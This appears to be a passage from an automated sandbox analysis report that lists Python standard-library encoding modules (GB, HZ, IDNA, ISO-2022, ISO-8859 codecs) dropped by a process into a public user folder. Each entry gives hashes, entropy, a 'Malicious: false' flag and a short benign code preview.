MD5:	40B18EE51A3241C53EF5CBC6C019997D
SHA1:	C4F48863B74CB56844A2CC68AF9629D9407B7CF7
SHA-256:	0D9C1DB7E2959E60E4F6CB4B97C884585668C55B48F2D9D715B2BDAF5E78C671
SHA-512:	12952CBED997D8E4F3608F2DA4BA0FAC468D7D48E7685556E3669AF18FC6C238688713894E4490AACDC05C253242ADE9C88E522DC45EB9D5827E29548108D5AE
Malicious:	false
Reputation:	low
Preview:	#..# gb18030.py: Python Unicode Codec for GB18030..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gb18030')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gb18030',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. s

C:\Users\Public\QExvbmVOb25l\Lib\encodings\gb2312.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.554621344303813
Encrypted:	false
SSDEEP:	24:nB6q6Oz+f/Xo11ZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9jcJxFpz:oq3P11t62VJjRU8njOxLnrxLbrLK+Jx/
MD5:	72F02C10927F33B52DF6549FF1F52E60
SHA1:	6C666F6A4C36D0C3CBD944216E170E26D7B5D91A
SHA-256:	2B5573EBF7FDC20DCF126633ADF0B7283C08629D36DBEFA669C985C9DDB98EA7
SHA-512:	F7F0D5C10490026F0809714BEED7CB2F5AB284C7BDC05BCBDF7C690A255DBA59F815B5524D88F5ED35CD6FD668C93695126EF7153CCBFA5B58BAA5E151839C51
Malicious:	false
Reputation:	low
Preview:	#..# gb2312.py: Python Unicode Codec for GB2312..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gb2312')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gb2312',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\gbk.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	4.504465163109839
Encrypted:	false
SSDEEP:	24:nBOEpqNOz+f/Xo1SKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9scJxFV:4Epq2P1k62VJjRU8njOxLnrxLbrLKPJd
MD5:	0D6CF4D6FFFB4B761BEBCEBC1D2C3CF3
SHA1:	64C7CD7A46E8CAE1CB9F0700035CA6BD2EC73C76
SHA-256:	9C7828E3B9661E39D4D75419A12B9D132FA9D0B4DAEC36F3DF51AD1C3A638DE3
SHA-512:	0F4F577C2FB46AB6B6D8DD6CFB5F89C8748F67E864D9AB6E3D92904BB0AE9EDB6239CABDF8A8F9B11238EEB60870EB819499B4A942E2D3B5CB7032F444246FCF
Malicious:	false
Reputation:	low
Preview:	#..# gbk.py: Python Unicode Codec for GBK..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gbk')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gbk',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=Stre

C:\Users\Public\QExvbmVOb25l\Lib\encodings\hex_codec.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1563
Entropy (8bit):	4.660866418659877
Encrypted:	false
SSDEEP:	48:Xtc/QX1AIgs1AIc1wX1euM8ivIvPTKs3ntJxHjH:XS/QX/gs/cmX8uAA3TKsdrH
MD5:	1E55C95602534092B4DB3ED99CB9E67C
SHA1:	D1DBA179C7F3B0FF22D4F1713275D0C48637BB48
SHA-256:	5881C1AEEEB5F9CD27CE0E0E62AB9D6551F094955DBD52DC8184165DAF78AEBA
SHA-512:	84DACC6B4CBFBB99D7D6F0124EF1E7B26035C7249730EB1C185B60A750DE2548CA60E8A939DF8445D5DDDF1F8D397708A264D9FD7771C674C7DA889C306C9D93
Malicious:	false
Reputation:	low
Preview:	"""Python 'hex_codec' Codec - 2-digit hex content transfer encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import binascii....### Codec APIs....def hex_encode(input, errors='strict'):.. assert errors == 'strict'.. return (binascii.b2a_hex(input), len(input))....def hex_decode(input, errors='strict'):.. assert errors == 'strict'.. return (binascii.a2b_hex(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return hex_encode(input, errors).. def decode(self, input, errors='strict'):.. return hex_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. assert self.errors == 'strict'.. return binascii.b2a_hex(input)....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. assert self.errors == 'strict'..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\hp_roman8.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13789
Entropy (8bit):	4.607934099089844
Encrypted:	false
SSDEEP:	192:zbhsuOTDvRFUrXPLouhIAs2+ijLoM69Ne/DD6e:STjuhIAlgM6G6e
MD5:	1332CCB5750EB756B2856CCAD9E18CC1
SHA1:	ACDBF93730FB0420EA5B77AFE7E3282669829EF4
SHA-256:	681FF6A2273BD64450E04FC6F04B2EC63015A91490E30A31E25ED193708C99D4
SHA-512:	6F43760A54CB494E48B8C9A659505727246AEAF539AD4A35AFE6F4F5D0E4A84C2F5F0ED5055794DE2D575E78D5A5D1497EB795F35D8F5533DF955587EBC38FD4
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'hp_roman8.txt' with gencodec.py..... Based on data from ftp://dkuug.dk/i18n/charmaps/HP-ROMAN8 (Keld Simonsen).... Original source: LaserJet IIP Printer User's Manual HP part no.. 33471-90901, Hewlet-Packard, June 1989..... (Used with permission)...."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.Strea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\hz.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	4.49858978606931
Encrypted:	false
SSDEEP:	24:nvpqxOz+f/Xo1cZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ecJxFpz:vpqyP1ct62VJjRU8njOxLnrxLbrLK5Jd
MD5:	78235EEDFAE419F3CC13044D7890799B
SHA1:	5BF1944AC39D99B3777CCD61DB7FAE3FF0D3E936
SHA-256:	2601DC6EF938FF87BD2024B3C4785254F2B3DD4D8D34D8F63E254D7B8545B077
SHA-512:	F5B7383FC8CBBAA13E8D101DD264D0F7952CD3A681F6746B5D941381A7CD39BE808D3E15375CF3778AC80D026658D494FA410CE1904683BD873D91C55DA9CA41
Malicious:	false
Reputation:	low
Preview:	#..# hz.py: Python Unicode Codec for HZ..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('hz')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='hz',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamRe

C:\Users\Public\QExvbmVOb25l\Lib\encodings\idna.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9405
Entropy (8bit):	4.456033241276571
Encrypted:	false
SSDEEP:	192:g2wxhP5XBQ/J/8V2zbxofjEY7pKrlIRYUnIzSGAy4DYvRv3:gPvPjp2zbIbwDcGx
MD5:	C2DAEBCCD1DE0B4535D537DB6658A6AA
SHA1:	B799688CC2CFDA6164308A6A78DF70AD59876DB7
SHA-256:	F62053A41EEA93F5953D1DE69C98FFD7F3E2D0E9AC984BA27A9BE37ADF0F4022
SHA-512:	83C7224EB66F7B4AD23B678B74EE054C27D8197EE708D5CCCFC4FA9E1775978608E09AA188594C5602160F93215C4F7B113C0C593C39502FA3CB163744DDAA54
Malicious:	false
Reputation:	low
Preview:	# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep)....import stringprep, re, codecs..from unicodedata import ucd_3_2_0 as unicodedata....# IDNA section 3.1..dots = re.compile("[\u002E\u3002\uFF0E\uFF61]")....# IDNA section 5..ace_prefix = b"xn--"..sace_prefix = "xn--"....# This assumes query strings, so AllowUnassigned is true..def nameprep(label):.. # Map.. newlabel = [].. for c in label:.. if stringprep.in_table_b1(c):.. # Map to nothing.. continue.. newlabel.append(stringprep.map_table_b2(c)).. label = "".join(newlabel).... # Normalize.. label = unicodedata.normalize("NFKC", label).... # Prohibit.. for c in label:.. if stringprep.in_table_c12(c) or \.. stringprep.in_table_c22(c) or \.. stringprep.in_table_c3(c) or \.. stringprep.in_table_c4(c) or \.. stringprep.in_table_c5(c) or \.. stringprep.in_table_c6(c) or \.. stringprep.in_table_c7(c) or

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_jp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.599723694318225
Encrypted:	false
SSDEEP:	24:n9qdOz0f/XojmKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ecJxFplR:9qmFU62VJjRU8njOxLnrxLbrLKZJxTz
MD5:	0607F8E6310A0B601897FF8EC76FF2C4
SHA1:	3839A936E2792722D3F157F11965BF510241C0FA
SHA-256:	7169767DD6732A80A0B665315588EF9CFF2DF4D495A86BC0BDD22B5C9F0644B9
SHA-512:	C763E0D3AFA5DBB7FA96D03A52F0F5828A61E8FF24523BF62A852C989DD3BFBBFC3DA4535B5401A78E47FE16F3EA33364BA63655D91A6A12516315E231F23B15
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_jp.py: Python Unicode Codec for ISO2022_JP..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incremen

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_jp_1.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	4.625134249310359
Encrypted:	false
SSDEEP:	24:nhq1Oz0f/XojglKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9CcJxFplR:hquF8J62VJjRU8njOxLnrxLbrLK5JxTz
MD5:	4D2B0675DE1A9AFB3553B5D5E894020C
SHA1:	A9B6F704D09F7A0B5182BE7C3581D321BA4DDA76
SHA-256:	627D3BDB5D3BC70DD00E51199B689D1C225EFE747A2DB8D5938E6AF78263F572
SHA-512:	AC8E08AA4A2235BF20C563EC1A466B666A39F09CCD4AE681CD34DCF51754E3B8C860D557354691D170ABCDE43029B3B45E5597AADDED398577F9A90C74FADC57
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_jp_1.py: Python Unicode Codec for ISO2022_JP_1..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_1')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_1',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_jp_2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	4.611453480597579
Encrypted:	false
SSDEEP:	24:nnSqgOz0f/Xoj7ZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9VcJxFpz:nSq5F3t62VJjRU8njOxLnrxLbrLK0Jx/
MD5:	A4798D8B5DEE38BCCF3CBEAD235F392E
SHA1:	8971456D5A2C4A3255592399EE1141E119880774
SHA-256:	DC680A0E34DCE73756F0E3B5CBB23DD819022BE7E10F80E55289A5EAB9ED7C2E
SHA-512:	E329124E3ADA51C303556CA0C6B5B4644ED76E6F43C943BFE72F318928EF1DAA6121FE545480F4092F92B05CD25315D3E5B7ADB09E63985E9D8879BA3A751C2B
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_jp_2.py: Python Unicode Codec for ISO2022_JP_2..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_2')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_2',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_jp_2004.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	4.645190214359865
Encrypted:	false
SSDEEP:	24:n8q1sOz0f/XojvKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9FcJxFplR:8qnF/62VJjRU8njOxLnrxLbrLKoJxTz
MD5:	E1738D28D315C80A04908CDB21CBE7BD
SHA1:	D79BC1E83E0A2103909A7AB97DB3A456D21C0711
SHA-256:	C8CB592DF0CF38A6B7E8265C02D7784FB32052EF9AD94D0FF369889EDA540273
SHA-512:	BFDF5D44B36916C3B828EA1C599E644CB9D3ADBC0D2D4922F016F9DDD7EB424F8A937C19FA3EFBA0E9F4AC14ADFF3C0BA6B924130ED2D050C3A9BDDC2F4165C2
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_jp_2004.py: Python Unicode Codec for ISO2022_JP_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. increme

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_jp_3.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	4.625134249310359
Encrypted:	false
SSDEEP:	24:nrq3Oz0f/XojUKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9IcJxFplR:rqkFa62VJjRU8njOxLnrxLbrLKnJxTz
MD5:	3E98055A4B7D99A49798F3012C4D9DDB
SHA1:	8579E49AA8080610BF40A51DC18B6DF5EEE56A2E
SHA-256:	2A2AE4368D962C2E7B5DB2F29EE89EFD5A7FDB881DEF523C21670E0D1A1C50CE
SHA-512:	DBA054816FC0022810D545D089BC62997BFE04143B579E59EF1DAD2D25DCAFC879BF00CADEA2DDF3CE850728E00911984590EA8C8C8D6EA1AF30F71AA97CEA76
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_jp_3.py: Python Unicode Codec for ISO2022_JP_3..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_3')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_3',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_jp_ext.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	4.633181613509048
Encrypted:	false
SSDEEP:	24:npqNOz0f/XojaKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ycJxFplR:pq2Fg62VJjRU8njOxLnrxLbrLK5JxTz
MD5:	34E904E0F16F84EC0A001DFFCDE7514C
SHA1:	19BCD8776FB3239A003F4B5F04B7056B81D0A6C6
SHA-256:	5B4439C7DBE65638166A70C5404CABB72552019D1F497193C6689B86BD3C4C94
SHA-512:	F9DC1EA03840BD9763BC2B1521D2557FD0111682D1FF805FCCDA123508C3F23768F819FA26B2E097447595F70ABCB2737C9B153B848D2687DB3E2E9E645801EC
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_jp_ext.py: Python Unicode Codec for ISO2022_JP_EXT..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_ext')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_ext',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incremental

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso2022_kr.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.584383388529371
Encrypted:	false
SSDEEP:	24:nJIBqqOz0f/XojfKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ncJxFpz:EqHFn62VJjRU8njOxLnrxLbrLKGJxTz
MD5:	F907851FF35FB61EB485B2C163A2BCCB
SHA1:	CA280AC9C832208B01242601F7F3A78803A1CDF9
SHA-256:	FD9EFD7094361F6557D00857E332D7229E922597336A0714FB0FA2402C954029
SHA-512:	4992572D79613856F84F7332C1D7C588B2BA4256613FCAB21BEF6C74BF8D50F2D96CAA2ABFF2C92D040DDFE45A328B7495BCB29CD51580577D5F5A5527CC469D
Malicious:	false
Reputation:	low
Preview:	#..# iso2022_kr.py: Python Unicode Codec for ISO2022_KR..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_kr')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_kr',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incremen

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_1.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13483
Entropy (8bit):	4.571059193460173
Encrypted:	false
SSDEEP:	192:qHhsuOTDvRAUrXPLouhIAs2+ijLMZt6CJTd12:HTauhIAlEZt680
MD5:	0466703A1EB5752CDD5115B2D738D822
SHA1:	03354F0D1406A99B9934276675759C6002D4A901
SHA-256:	CCFDBA207B483DCD38673D85B6E2A773A5BF64E8AE9DB7E90A01F8014E62B24A
SHA-512:	3D7B957FF194B69AC9DE7FE59BD03DB29EBD076456FC93FD3E6AFB6B09EACB8C5D327A6E17719C02AE5F71E8428BB55FAB633955861699BC4FF90C3F80D0A783
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_1 generated from 'MAPPINGS/ISO8859/8859-1.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-1',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_10.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13896
Entropy (8bit):	4.591898710758108
Encrypted:	false
SSDEEP:	192:OHhsuOTDvR4UrXPLouhIAs2+ijLWDf6z6iC:bTmuhIAleu+
MD5:	28ADCF051DD15E45A38CE929864BBD83
SHA1:	A09E4C13D00393CE6C2F3CF9665455D74BBF8A0A
SHA-256:	76216C65399DE88B6D40E0BE3209ED7B14D6DD87AFB9C0A984ADDDD0CF6B559F
SHA-512:	13A368308279E76F2D6C3AEF73B66AD4EF4A5A88098FF1A85B403C3C006B3925E25BBB72A6BAC1585CF90D60CF26ADE576CCE484A65E1AE0EC52467370D0507C
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_10 generated from 'MAPPINGS/ISO8859/8859-10.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-10',.. enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_11.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12642
Entropy (8bit):	4.621611083140247
Encrypted:	false
SSDEEP:	192:gHhsuOTDvRrUrXPLouhIAs2+ijLA00pC8i5I:dTpuhIAlBH8iG
MD5:	8BE69EAC235E74EFCA68174DB8EA6352
SHA1:	28447A4EC5A2111A8B370DECD143F45935EBC454
SHA-256:	5E346F5769E0C3EEB6B5547B954481A821481A970AA8FEC33BFFBF07B880689A
SHA-512:	2E4CB687855A577BDBA8665767BFDD29E95D0952C10C0DA9C2547659629C6DBCD7A95E9C821A1CED7CA4BE5600A95BAEA1D5383AFC9A491E3861A344F1FFAEFB
Malicious:	false
Reputation:	low
